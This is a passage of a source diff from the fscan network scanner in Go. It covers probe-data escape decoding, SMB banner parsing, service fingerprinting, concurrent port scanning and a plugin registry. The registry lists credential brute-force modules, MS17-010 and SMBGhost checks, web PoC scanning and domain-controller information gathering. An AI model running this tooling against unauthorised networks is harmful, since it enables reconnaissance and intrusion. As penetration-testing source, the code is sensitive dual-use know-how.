matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`)
sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) []byte {
// 处理十六进制转义
if isHexCode(match) {
hexNum := match[2:]
byteNum, err := strconv.ParseInt(string(hexNum), 16, 32)
if err != nil {
return match
}
return []byte{uint8(byteNum)}
}
// 处理结构化转义字符
if isStructCode(match) {
structCodeMap := map[int][]byte{
97: []byte{0x07}, // \a 响铃
102: []byte{0x0c}, // \f 换页
116: []byte{0x09}, // \t 制表符
110: []byte{0x0a}, // \n 换行
114: []byte{0x0d}, // \r 回车
118: []byte{0x0b}, // \v 垂直制表符
}
if replace, ok := structCodeMap[int(match[1])]; ok {
return replace
}
return match
}
// 处理八进制转义
if isOctalCode(match) {
octalNum := match[2:]
byteNum, err := strconv.ParseInt(string(octalNum), 8, 32)
if err != nil {
return match
}
return []byte{uint8(byteNum)}
}
Common.LogDebug(fmt.Sprintf("无法识别的转义序列: %s", string(match)))
return match
})
// 处理其他转义序列
matchRe2 := regexp.MustCompile(`\\([^\\])`)
sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) []byte {
if len(match) < 2 {
return match
}
if isOtherEscapeCode(match) {
return []byte{match[1]}
}
return match
})
if len(sByteDec2) == 0 {
Common.LogDebug("解码后数据为空")
return nil, fmt.Errorf("decoded data is empty")
}
Common.LogDebug(fmt.Sprintf("解码完成,结果长度: %d, 内容: %x", len(sByteDec2), sByteDec2))
return sByteDec2, nil
}
// GetAddress 获取目标的完整地址IP:端口)
func (t *Target) GetAddress() string {
addr := t.IP + ":" + strconv.Itoa(t.Port)
Common.LogDebug("获取目标地址: " + addr)
return addr
}
// trimBanner 处理和清理横幅数据
func trimBanner(buf []byte) string {
Common.LogDebug("开始处理横幅数据")
bufStr := string(buf)
// 特殊处理SMB协议
if strings.Contains(bufStr, "SMB") {
banner := hex.EncodeToString(buf)
if len(banner) > 0xa+6 && banner[0xa:0xa+6] == "534d42" { // "SMB" in hex
Common.LogDebug("检测到SMB协议数据")
plain := banner[0xa2:]
data, err := hex.DecodeString(plain)
if err != nil {
Common.LogDebug("SMB数据解码失败: " + err.Error())
return bufStr
}
// 解析domain
var domain string
var index int
for i, s := range data {
if s != 0 {
domain += string(s)
} else if i+1 < len(data) && data[i+1] == 0 {
index = i + 2
break
}
}
// 解析hostname
var hostname string
remainData := data[index:]
for i, h := range remainData {
if h != 0 {
hostname += string(h)
}
if i+1 < len(remainData) && remainData[i+1] == 0 {
break
}
}
smbBanner := fmt.Sprintf("hostname: %s domain: %s", hostname, domain)
Common.LogDebug("SMB横幅: " + smbBanner)
return smbBanner
}
}
// 处理常规数据
var src string
for _, ch := range bufStr {
if ch > 32 && ch < 125 {
src += string(ch)
} else {
src += " "
}
}
// 清理多余空白
re := regexp.MustCompile(`\s{2,}`)
src = re.ReplaceAllString(src, ".")
result := strings.TrimSpace(src)
Common.LogDebug("处理后的横幅: " + result)
return result
}
// Init 初始化VScan对象
func (v *VScan) Init() {
Common.LogDebug("开始初始化VScan")
v.parseProbesFromContent(ProbeString)
v.parseProbesToMapKName()
v.SetusedProbes()
Common.LogDebug("VScan初始化完成")
}

View File

@ -1,9 +1,8 @@
package core
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/core/portfinger"
"github.com/shadow1ng/fscan/Common"
"io"
"net"
"strings"
@ -51,7 +50,11 @@ type PortInfoScanner struct {
info *Info // 探测上下文
}
// 预定义的基础探测器已在PortFinger.go中定义这里不再重复定义
// 预定义的基础探测器
var (
null = new(Probe) // 空探测器,用于基本协议识别
common = new(Probe) // 通用探测器,用于常见服务识别
)
// NewPortInfoScanner 创建新的端口服务识别器实例
func NewPortInfoScanner(addr string, port int, conn net.Conn, timeout time.Duration) *PortInfoScanner {
@ -73,7 +76,7 @@ func NewPortInfoScanner(addr string, port int, conn net.Conn, timeout time.Durat
// Identify 执行服务识别,返回识别结果
func (s *PortInfoScanner) Identify() (*ServiceInfo, error) {
common.LogDebug(fmt.Sprintf("开始识别服务 %s:%d", s.Address, s.Port))
Common.LogDebug(fmt.Sprintf("开始识别服务 %s:%d", s.Address, s.Port))
s.info.PortInfo()
// 构造返回结果
@ -89,7 +92,7 @@ func (s *PortInfoScanner) Identify() (*ServiceInfo, error) {
serviceInfo.Extras[k] = v
}
common.LogDebug(fmt.Sprintf("服务识别完成 %s:%d => %s", s.Address, s.Port, serviceInfo.Name))
Common.LogDebug(fmt.Sprintf("服务识别完成 %s:%d => %s", s.Address, s.Port, serviceInfo.Name))
return serviceInfo, nil
}
@ -97,41 +100,41 @@ func (s *PortInfoScanner) Identify() (*ServiceInfo, error) {
func (i *Info) PortInfo() {
// 1. 首先尝试读取服务的初始响应
if response, err := i.Read(); err == nil && len(response) > 0 {
common.LogDebug(fmt.Sprintf("收到初始响应: %d 字节", len(response)))
Common.LogDebug(fmt.Sprintf("收到初始响应: %d 字节", len(response)))
// 使用基础探测器检查响应
common.LogDebug("尝试使用基础探测器(null/common)检查响应")
if i.tryProbes(response, []*Probe{null, commonProbe}) {
common.LogDebug("基础探测器匹配成功")
Common.LogDebug("尝试使用基础探测器(null/common)检查响应")
if i.tryProbes(response, []*Probe{null, common}) {
Common.LogDebug("基础探测器匹配成功")
return
}
common.LogDebug("基础探测器未匹配")
Common.LogDebug("基础探测器未匹配")
} else if err != nil {
common.LogDebug(fmt.Sprintf("读取初始响应失败: %v", err))
Common.LogDebug(fmt.Sprintf("读取初始响应失败: %v", err))
}
// 记录已使用的探测器,避免重复使用
usedProbes := make(map[string]struct{})
// 2. 尝试使用端口专用探测器
common.LogDebug(fmt.Sprintf("尝试使用端口 %d 的专用探测器", i.Port))
Common.LogDebug(fmt.Sprintf("尝试使用端口 %d 的专用探测器", i.Port))
if i.processPortMapProbes(usedProbes) {
common.LogDebug("端口专用探测器匹配成功")
Common.LogDebug("端口专用探测器匹配成功")
return
}
common.LogDebug("端口专用探测器未匹配")
Common.LogDebug("端口专用探测器未匹配")
// 3. 使用默认探测器列表
common.LogDebug("尝试使用默认探测器列表")
Common.LogDebug("尝试使用默认探测器列表")
if i.processDefaultProbes(usedProbes) {
common.LogDebug("默认探测器匹配成功")
Common.LogDebug("默认探测器匹配成功")
return
}
common.LogDebug("默认探测器未匹配")
Common.LogDebug("默认探测器未匹配")
// 4. 如果所有探测都失败,标记为未知服务
if strings.TrimSpace(i.Result.Service.Name) == "" {
common.LogDebug("未识别出服务,标记为 unknown")
Common.LogDebug("未识别出服务,标记为 unknown")
i.Result.Service.Name = "unknown"
}
}
@ -139,10 +142,10 @@ func (i *Info) PortInfo() {
// tryProbes 尝试使用指定的探测器列表检查响应
func (i *Info) tryProbes(response []byte, probes []*Probe) bool {
for _, probe := range probes {
common.LogDebug(fmt.Sprintf("尝试探测器: %s", probe.Name))
Common.LogDebug(fmt.Sprintf("尝试探测器: %s", probe.Name))
i.GetInfo(response, probe)
if i.Found {
common.LogDebug(fmt.Sprintf("探测器 %s 匹配成功", probe.Name))
Common.LogDebug(fmt.Sprintf("探测器 %s 匹配成功", probe.Name))
return true
}
}
@ -152,28 +155,28 @@ func (i *Info) tryProbes(response []byte, probes []*Probe) bool {
// processPortMapProbes 处理端口映射中的专用探测器
func (i *Info) processPortMapProbes(usedProbes map[string]struct{}) bool {
// 检查是否存在端口专用探测器
if len(common.PortMap[i.Port]) == 0 {
common.LogDebug(fmt.Sprintf("端口 %d 没有专用探测器", i.Port))
if len(Common.PortMap[i.Port]) == 0 {
Common.LogDebug(fmt.Sprintf("端口 %d 没有专用探测器", i.Port))
return false
}
// 遍历端口专用探测器
for _, name := range common.PortMap[i.Port] {
common.LogDebug(fmt.Sprintf("尝试端口专用探测器: %s", name))
for _, name := range Common.PortMap[i.Port] {
Common.LogDebug(fmt.Sprintf("尝试端口专用探测器: %s", name))
usedProbes[name] = struct{}{}
probe := v.ProbesMapKName[name]
// 解码探测数据
probeData, err := DecodeData(probe.Data)
if err != nil || len(probeData) == 0 {
common.LogDebug(fmt.Sprintf("探测器 %s 数据解码失败", name))
Common.LogDebug(fmt.Sprintf("探测器 %s 数据解码失败", name))
continue
}
// 发送探测数据并获取响应
common.LogDebug(fmt.Sprintf("发送探测数据: %d 字节", len(probeData)))
Common.LogDebug(fmt.Sprintf("发送探测数据: %d 字节", len(probeData)))
if response := i.Connect(probeData); len(response) > 0 {
common.LogDebug(fmt.Sprintf("收到响应: %d 字节", len(response)))
Common.LogDebug(fmt.Sprintf("收到响应: %d 字节", len(response)))
// 使用当前探测器检查响应
i.GetInfo(response, &probe)
@ -190,7 +193,7 @@ func (i *Info) processPortMapProbes(usedProbes map[string]struct{}) bool {
case "NULL":
continue
default:
if i.tryProbes(response, []*Probe{commonProbe}) {
if i.tryProbes(response, []*Probe{common}) {
return true
}
}
@ -205,7 +208,7 @@ func (i *Info) processDefaultProbes(usedProbes map[string]struct{}) bool {
const maxFailures = 10 // 最大失败次数
// 遍历默认探测器列表
for _, name := range common.DefaultMap {
for _, name := range Common.DefaultMap {
// 跳过已使用的探测器
if _, used := usedProbes[name]; used {
continue
@ -242,14 +245,14 @@ func (i *Info) processDefaultProbes(usedProbes map[string]struct{}) bool {
case "NULL":
continue
default:
if i.tryProbes(response, []*Probe{commonProbe}) {
if i.tryProbes(response, []*Probe{common}) {
return true
}
}
// 尝试使用端口映射中的其他探测器
if len(common.PortMap[i.Port]) > 0 {
for _, mappedName := range common.PortMap[i.Port] {
if len(Common.PortMap[i.Port]) > 0 {
for _, mappedName := range Common.PortMap[i.Port] {
usedProbes[mappedName] = struct{}{}
mappedProbe := v.ProbesMapKName[mappedName]
i.GetInfo(response, &mappedProbe)
@ -264,11 +267,11 @@ func (i *Info) processDefaultProbes(usedProbes map[string]struct{}) bool {
// GetInfo 分析响应数据并提取服务信息
func (i *Info) GetInfo(response []byte, probe *Probe) {
common.LogDebug(fmt.Sprintf("开始分析响应数据,长度: %d", len(response)))
Common.LogDebug(fmt.Sprintf("开始分析响应数据,长度: %d", len(response)))
// 响应数据有效性检查
if len(response) <= 0 {
common.LogDebug("响应数据为空")
Common.LogDebug("响应数据为空")
return
}
@ -279,25 +282,25 @@ func (i *Info) GetInfo(response []byte, probe *Probe) {
)
// 处理主要匹配规则
common.LogDebug(fmt.Sprintf("处理探测器 %s 的主要匹配规则", probe.Name))
Common.LogDebug(fmt.Sprintf("处理探测器 %s 的主要匹配规则", probe.Name))
if matched, match := i.processMatches(response, probe.Matchs); matched {
common.LogDebug("找到硬匹配")
Common.LogDebug("找到硬匹配")
return
} else if match != nil {
common.LogDebug("找到软匹配")
Common.LogDebug("找到软匹配")
softFound = true
softMatch = *match
}
// 处理回退匹配规则
if probe.Fallback != "" {
common.LogDebug(fmt.Sprintf("尝试回退匹配: %s", probe.Fallback))
Common.LogDebug(fmt.Sprintf("尝试回退匹配: %s", probe.Fallback))
if fbProbe, ok := v.ProbesMapKName[probe.Fallback]; ok {
if matched, match := i.processMatches(response, fbProbe.Matchs); matched {
common.LogDebug("回退匹配成功")
Common.LogDebug("回退匹配成功")
return
} else if match != nil {
common.LogDebug("找到回退软匹配")
Common.LogDebug("找到回退软匹配")
softFound = true
softMatch = *match
}
@ -306,14 +309,14 @@ func (i *Info) GetInfo(response []byte, probe *Probe) {
// 处理未找到匹配的情况
if !i.Found {
common.LogDebug("未找到硬匹配,处理未匹配情况")
Common.LogDebug("未找到硬匹配,处理未匹配情况")
i.handleNoMatch(response, result, softFound, softMatch)
}
}
// processMatches 处理匹配规则集
func (i *Info) processMatches(response []byte, matches *[]Match) (bool, *Match) {
common.LogDebug(fmt.Sprintf("开始处理匹配规则,共 %d 条", len(*matches)))
Common.LogDebug(fmt.Sprintf("开始处理匹配规则,共 %d 条", len(*matches)))
var softMatch *Match
for _, match := range *matches {
@ -322,11 +325,11 @@ func (i *Info) processMatches(response []byte, matches *[]Match) (bool, *Match)
}
if !match.IsSoft {
common.LogDebug(fmt.Sprintf("找到硬匹配: %s", match.Service))
Common.LogDebug(fmt.Sprintf("找到硬匹配: %s", match.Service))
i.handleHardMatch(response, &match)
return true, nil
} else if softMatch == nil {
common.LogDebug(fmt.Sprintf("找到软匹配: %s", match.Service))
Common.LogDebug(fmt.Sprintf("找到软匹配: %s", match.Service))
tmpMatch := match
softMatch = &tmpMatch
}
@ -337,48 +340,48 @@ func (i *Info) processMatches(response []byte, matches *[]Match) (bool, *Match)
// handleHardMatch 处理硬匹配结果
func (i *Info) handleHardMatch(response []byte, match *Match) {
common.LogDebug(fmt.Sprintf("处理硬匹配结果: %s", match.Service))
Common.LogDebug(fmt.Sprintf("处理硬匹配结果: %s", match.Service))
result := &i.Result
extras := match.ParseVersionInfo(response)
extrasMap := extras.ToMap()
result.Service.Name = match.Service
result.Extras = extrasMap
result.Banner = portfinger.TrimBanner(string(response))
result.Banner = trimBanner(response)
result.Service.Extras = extrasMap
// 特殊处理 microsoft-ds 服务
if result.Service.Name == "microsoft-ds" {
common.LogDebug("特殊处理 microsoft-ds 服务")
Common.LogDebug("特殊处理 microsoft-ds 服务")
result.Service.Extras["hostname"] = result.Banner
}
i.Found = true
common.LogDebug(fmt.Sprintf("服务识别结果: %s, Banner: %s", result.Service.Name, result.Banner))
Common.LogDebug(fmt.Sprintf("服务识别结果: %s, Banner: %s", result.Service.Name, result.Banner))
}
// handleNoMatch 处理未找到匹配的情况
func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, softMatch Match) {
common.LogDebug("处理未匹配情况")
result.Banner = portfinger.TrimBanner(string(response))
Common.LogDebug("处理未匹配情况")
result.Banner = trimBanner(response)
if !softFound {
// 尝试识别 HTTP 服务
if strings.Contains(result.Banner, "HTTP/") ||
strings.Contains(result.Banner, "html") {
common.LogDebug("识别为HTTP服务")
Common.LogDebug("识别为HTTP服务")
result.Service.Name = "http"
} else {
common.LogDebug("未知服务")
Common.LogDebug("未知服务")
result.Service.Name = "unknown"
}
} else {
common.LogDebug("使用软匹配结果")
Common.LogDebug("使用软匹配结果")
extras := softMatch.ParseVersionInfo(response)
result.Service.Extras = extras.ToMap()
result.Service.Name = softMatch.Service
i.Found = true
common.LogDebug(fmt.Sprintf("软匹配服务: %s", result.Service.Name))
Common.LogDebug(fmt.Sprintf("软匹配服务: %s", result.Service.Name))
}
}
@ -404,8 +407,8 @@ func (i *Info) Write(msg []byte) error {
_, err := i.Conn.Write(msg)
if err != nil && strings.Contains(err.Error(), "close") {
i.Conn.Close()
// 连接关闭时重试 - 支持SOCKS5代理
i.Conn, err = common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second)
// 连接关闭时重试
i.Conn, err = net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second)
if err == nil {
i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
_, err = i.Conn.Write(msg)

View File

@ -1,14 +1,12 @@
package core
package Core
import (
"context"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/common/output"
"github.com/shadow1ng/fscan/common/parsers"
"github.com/shadow1ng/fscan/Common"
"golang.org/x/sync/errgroup"
"golang.org/x/sync/semaphore"
"net"
"strings"
"sync"
"sync/atomic"
@ -18,40 +16,22 @@ import (
// EnhancedPortScan 高性能端口扫描函数
func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
// 解析端口和排除端口
portList := parsers.ParsePort(ports)
portList := Common.ParsePort(ports)
if len(portList) == 0 {
common.LogError("无效端口: " + ports)
Common.LogError("无效端口: " + ports)
return nil
}
// 预估排除端口数量通常不会超过100个
excludePorts := parsers.ParsePort(common.ExcludePorts)
exclude := make(map[int]struct{}, len(excludePorts))
for _, p := range excludePorts {
exclude := make(map[int]struct{})
for _, p := range Common.ParsePort(Common.ExcludePorts) {
exclude[p] = struct{}{}
}
// 计算总扫描数量
totalTasks := 0
for range hosts {
for _, port := range portList {
if _, excluded := exclude[port]; !excluded {
totalTasks++
}
}
}
// 初始化端口扫描进度条
if totalTasks > 0 && common.ShowProgress {
description := i18n.GetText("progress_port_scanning_with_threads", common.ThreadNum)
common.InitProgressBar(int64(totalTasks), description)
}
// 初始化并发控制
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
to := time.Duration(timeout) * time.Second
sem := semaphore.NewWeighted(int64(common.ThreadNum))
sem := semaphore.NewWeighted(int64(Common.ThreadNum))
var count int64
var aliveMap sync.Map
g, ctx := errgroup.WithContext(ctx)
@ -71,14 +51,10 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
}
g.Go(func() error {
defer func() {
sem.Release(1)
// 更新端口扫描进度
common.UpdateProgressBar(1)
}()
defer sem.Release(1)
// 连接测试 - 支持SOCKS5代理
conn, err := common.WrapperTcpWithTimeout("tcp", addr, to)
// 连接测试
conn, err := net.DialTimeout("tcp", addr, to)
if err != nil {
return nil
}
@ -87,14 +63,14 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
// 记录开放端口
atomic.AddInt64(&count, 1)
aliveMap.Store(addr, struct{}{})
common.LogInfo("端口开放 " + addr)
common.SaveResult(&output.ScanResult{
Time: time.Now(), Type: output.TypePort, Target: host,
Common.LogInfo("端口开放 " + addr)
Common.SaveResult(&Common.ScanResult{
Time: time.Now(), Type: Common.PORT, Target: host,
Status: "open", Details: map[string]interface{}{"port": port},
})
// 服务识别
if common.EnableFingerprint {
if Common.EnableFingerprint {
if info, err := NewPortInfoScanner(host, port, conn, to).Identify(); err == nil {
// 构建结果详情
details := map[string]interface{}{"port": port, "service": info.Name}
@ -119,8 +95,8 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
}
// 保存服务结果
common.SaveResult(&output.ScanResult{
Time: time.Now(), Type: output.TypeService, Target: host,
Common.SaveResult(&Common.ScanResult{
Time: time.Now(), Type: Common.SERVICE, Target: host,
Status: "identified", Details: details,
})
@ -152,7 +128,7 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
sb.WriteString(" Banner:[" + strings.TrimSpace(info.Banner) + "]")
}
common.LogInfo(sb.String())
Common.LogInfo(sb.String())
}
}
@ -170,12 +146,6 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
return true
})
// 完成端口扫描进度条
if common.IsProgressActive() {
common.FinishProgressBar()
}
common.LogBase(i18n.GetText("scan_complete_ports_found", count))
Common.LogBase(fmt.Sprintf("扫描完成, 发现 %d 个开放端口", count))
return aliveAddrs
}

View File

@ -1,125 +1,289 @@
package core
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
// 导入新架构插件,触发自动注册
_ "github.com/shadow1ng/fscan/plugins/services/activemq"
_ "github.com/shadow1ng/fscan/plugins/services/cassandra"
_ "github.com/shadow1ng/fscan/plugins/services/ftp"
_ "github.com/shadow1ng/fscan/plugins/services/imap"
_ "github.com/shadow1ng/fscan/plugins/services/kafka"
_ "github.com/shadow1ng/fscan/plugins/services/ldap"
_ "github.com/shadow1ng/fscan/plugins/services/memcached"
_ "github.com/shadow1ng/fscan/plugins/services/modbus"
_ "github.com/shadow1ng/fscan/plugins/services/mongodb"
_ "github.com/shadow1ng/fscan/plugins/services/mssql"
_ "github.com/shadow1ng/fscan/plugins/services/mysql"
_ "github.com/shadow1ng/fscan/plugins/services/neo4j"
_ "github.com/shadow1ng/fscan/plugins/services/oracle"
_ "github.com/shadow1ng/fscan/plugins/services/pop3"
_ "github.com/shadow1ng/fscan/plugins/services/postgresql"
_ "github.com/shadow1ng/fscan/plugins/services/rabbitmq"
_ "github.com/shadow1ng/fscan/plugins/services/redis"
_ "github.com/shadow1ng/fscan/plugins/services/rsync"
_ "github.com/shadow1ng/fscan/plugins/services/smtp"
_ "github.com/shadow1ng/fscan/plugins/services/snmp"
_ "github.com/shadow1ng/fscan/plugins/services/ssh"
_ "github.com/shadow1ng/fscan/plugins/services/telnet"
// 导入Legacy插件适配器
_ "github.com/shadow1ng/fscan/plugins/legacy/netbios"
_ "github.com/shadow1ng/fscan/plugins/legacy/ms17010"
_ "github.com/shadow1ng/fscan/plugins/legacy/smb"
_ "github.com/shadow1ng/fscan/plugins/legacy/smb2"
_ "github.com/shadow1ng/fscan/plugins/legacy/smbghost"
_ "github.com/shadow1ng/fscan/plugins/legacy/rdp"
_ "github.com/shadow1ng/fscan/plugins/legacy/elasticsearch"
_ "github.com/shadow1ng/fscan/plugins/legacy/findnet"
// 导入Web插件适配器
_ "github.com/shadow1ng/fscan/plugins/legacy/webtitle"
_ "github.com/shadow1ng/fscan/plugins/legacy/webpoc"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/Plugins"
"sort"
)
// =============================================================================
// 新一代插件注册系统 (New Architecture)
// 完全基于工厂模式和自动发现的现代化插件架构
// =============================================================================
// InitializePluginSystem 初始化插件系统
func InitializePluginSystem() error {
common.LogInfo("初始化新一代插件系统...")
// 统计已注册的插件
registeredPlugins := base.GlobalPluginRegistry.GetAll()
common.LogInfo(fmt.Sprintf("已注册插件数量: %d", len(registeredPlugins)))
// 显示已注册的插件列表
if len(registeredPlugins) > 0 {
common.LogInfo("已注册插件:")
for _, name := range registeredPlugins {
metadata := base.GlobalPluginRegistry.GetMetadata(name)
if metadata != nil {
common.LogInfo(fmt.Sprintf(" - %s v%s (%s)",
metadata.Name, metadata.Version, metadata.Category))
}
}
}
common.LogInfo("插件系统初始化完成")
return nil
}
// GetAllPlugins 获取所有已注册插件名称
func GetAllPlugins() []string {
return base.GlobalPluginRegistry.GetAll()
}
// GetPluginMetadata 获取插件元数据
func GetPluginMetadata(name string) *base.PluginMetadata {
return base.GlobalPluginRegistry.GetMetadata(name)
}
// CreatePlugin 创建插件实例
func CreatePlugin(name string) (base.Plugin, error) {
return base.GlobalPluginRegistry.Create(name)
}
// GetPluginsByCategory 按类别获取插件
func GetPluginsByCategory(category string) []string {
var plugins []string
for _, name := range base.GlobalPluginRegistry.GetAll() {
if metadata := base.GlobalPluginRegistry.GetMetadata(name); metadata != nil {
if metadata.Category == category {
plugins = append(plugins, name)
}
}
}
return plugins
}
// GetPluginsByPort 按端口获取插件
func GetPluginsByPort(port int) []string {
var plugins []string
for _, name := range base.GlobalPluginRegistry.GetAll() {
if metadata := base.GlobalPluginRegistry.GetMetadata(name); metadata != nil {
for _, p := range metadata.Ports {
if p == port {
plugins = append(plugins, name)
break
}
}
}
}
return plugins
}
// init 自动初始化插件系统
// init 初始化并注册所有扫描插件
// 包括标准端口服务扫描、特殊扫描类型和本地信息收集等
func init() {
if err := InitializePluginSystem(); err != nil {
common.LogError("插件系统初始化失败: " + err.Error())
}
// 1. 标准网络服务扫描插件
// 文件传输和远程访问服务
Common.RegisterPlugin("ftp", Common.ScanPlugin{
Name: "FTP",
Ports: []int{21},
ScanFunc: Plugins.FtpScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("ssh", Common.ScanPlugin{
Name: "SSH",
Ports: []int{22, 2222},
ScanFunc: Plugins.SshScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("telnet", Common.ScanPlugin{
Name: "Telnet",
Ports: []int{23},
ScanFunc: Plugins.TelnetScan,
Types: []string{Common.PluginTypeService},
})
// Windows网络服务
Common.RegisterPlugin("findnet", Common.ScanPlugin{
Name: "FindNet",
Ports: []int{135},
ScanFunc: Plugins.Findnet,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("netbios", Common.ScanPlugin{
Name: "NetBIOS",
Ports: []int{139},
ScanFunc: Plugins.NetBIOS,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("smb", Common.ScanPlugin{
Name: "SMB",
Ports: []int{445},
ScanFunc: Plugins.SmbScan,
Types: []string{Common.PluginTypeService},
})
// 数据库服务
Common.RegisterPlugin("mssql", Common.ScanPlugin{
Name: "MSSQL",
Ports: []int{1433, 1434},
ScanFunc: Plugins.MssqlScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("oracle", Common.ScanPlugin{
Name: "Oracle",
Ports: []int{1521, 1522, 1526},
ScanFunc: Plugins.OracleScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("mysql", Common.ScanPlugin{
Name: "MySQL",
Ports: []int{3306, 3307, 13306, 33306},
ScanFunc: Plugins.MysqlScan,
Types: []string{Common.PluginTypeService},
})
// 中间件和消息队列服务
Common.RegisterPlugin("elasticsearch", Common.ScanPlugin{
Name: "Elasticsearch",
Ports: []int{9200, 9300},
ScanFunc: Plugins.ElasticScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("rabbitmq", Common.ScanPlugin{
Name: "RabbitMQ",
Ports: []int{5672, 5671, 15672, 15671},
ScanFunc: Plugins.RabbitMQScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("kafka", Common.ScanPlugin{
Name: "Kafka",
Ports: []int{9092, 9093},
ScanFunc: Plugins.KafkaScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("activemq", Common.ScanPlugin{
Name: "ActiveMQ",
Ports: []int{61613},
ScanFunc: Plugins.ActiveMQScan,
Types: []string{Common.PluginTypeService},
})
// 目录和认证服务
Common.RegisterPlugin("ldap", Common.ScanPlugin{
Name: "LDAP",
Ports: []int{389, 636},
ScanFunc: Plugins.LDAPScan,
Types: []string{Common.PluginTypeService},
})
// 邮件服务
Common.RegisterPlugin("smtp", Common.ScanPlugin{
Name: "SMTP",
Ports: []int{25, 465, 587},
ScanFunc: Plugins.SmtpScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("imap", Common.ScanPlugin{
Name: "IMAP",
Ports: []int{143, 993},
ScanFunc: Plugins.IMAPScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("pop3", Common.ScanPlugin{
Name: "POP3",
Ports: []int{110, 995},
ScanFunc: Plugins.POP3Scan,
Types: []string{Common.PluginTypeService},
})
// 网络管理和监控服务
Common.RegisterPlugin("snmp", Common.ScanPlugin{
Name: "SNMP",
Ports: []int{161, 162},
ScanFunc: Plugins.SNMPScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("modbus", Common.ScanPlugin{
Name: "Modbus",
Ports: []int{502, 5020},
ScanFunc: Plugins.ModbusScan,
Types: []string{Common.PluginTypeService},
})
// 数据同步和备份服务
Common.RegisterPlugin("rsync", Common.ScanPlugin{
Name: "Rsync",
Ports: []int{873},
ScanFunc: Plugins.RsyncScan,
Types: []string{Common.PluginTypeService},
})
// NoSQL数据库
Common.RegisterPlugin("cassandra", Common.ScanPlugin{
Name: "Cassandra",
Ports: []int{9042},
ScanFunc: Plugins.CassandraScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("neo4j", Common.ScanPlugin{
Name: "Neo4j",
Ports: []int{7687},
ScanFunc: Plugins.Neo4jScan,
Types: []string{Common.PluginTypeService},
})
// 远程桌面和显示服务
Common.RegisterPlugin("rdp", Common.ScanPlugin{
Name: "RDP",
Ports: []int{3389, 13389, 33389},
ScanFunc: Plugins.RdpScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("postgres", Common.ScanPlugin{
Name: "PostgreSQL",
Ports: []int{5432, 5433},
ScanFunc: Plugins.PostgresScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("vnc", Common.ScanPlugin{
Name: "VNC",
Ports: []int{5900, 5901, 5902},
ScanFunc: Plugins.VncScan,
Types: []string{Common.PluginTypeService},
})
// 缓存和键值存储服务
Common.RegisterPlugin("redis", Common.ScanPlugin{
Name: "Redis",
Ports: []int{6379, 6380, 16379},
ScanFunc: Plugins.RedisScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("memcached", Common.ScanPlugin{
Name: "Memcached",
Ports: []int{11211},
ScanFunc: Plugins.MemcachedScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("mongodb", Common.ScanPlugin{
Name: "MongoDB",
Ports: []int{27017, 27018},
ScanFunc: Plugins.MongodbScan,
Types: []string{Common.PluginTypeService},
})
// 2. 特殊漏洞扫描插件
Common.RegisterPlugin("ms17010", Common.ScanPlugin{
Name: "MS17010",
Ports: []int{445},
ScanFunc: Plugins.MS17010,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("smbghost", Common.ScanPlugin{
Name: "SMBGhost",
Ports: []int{445},
ScanFunc: Plugins.SmbGhost,
Types: []string{Common.PluginTypeService},
})
// 3. Web应用扫描插件
Common.RegisterPlugin("webtitle", Common.ScanPlugin{
Name: "WebTitle",
Ports: Common.ParsePortsFromString(Common.WebPorts),
ScanFunc: Plugins.WebTitle,
Types: []string{Common.PluginTypeWeb},
})
Common.RegisterPlugin("webpoc", Common.ScanPlugin{
Name: "WebPoc",
Ports: Common.ParsePortsFromString(Common.WebPorts),
ScanFunc: Plugins.WebPoc,
Types: []string{Common.PluginTypeWeb},
})
// 4. Windows系统专用插件
Common.RegisterPlugin("smb2", Common.ScanPlugin{
Name: "SMBScan2",
Ports: []int{445},
ScanFunc: Plugins.SmbScan2,
Types: []string{Common.PluginTypeService},
})
// 5. 本地信息收集插件
Common.RegisterPlugin("localinfo", Common.ScanPlugin{
Name: "LocalInfo",
Ports: []int{},
ScanFunc: Plugins.LocalInfoScan,
Types: []string{Common.PluginTypeLocal},
})
Common.RegisterPlugin("dcinfo", Common.ScanPlugin{
Name: "DCInfo",
Ports: []int{},
ScanFunc: Plugins.DCInfoScan,
Types: []string{Common.PluginTypeLocal},
})
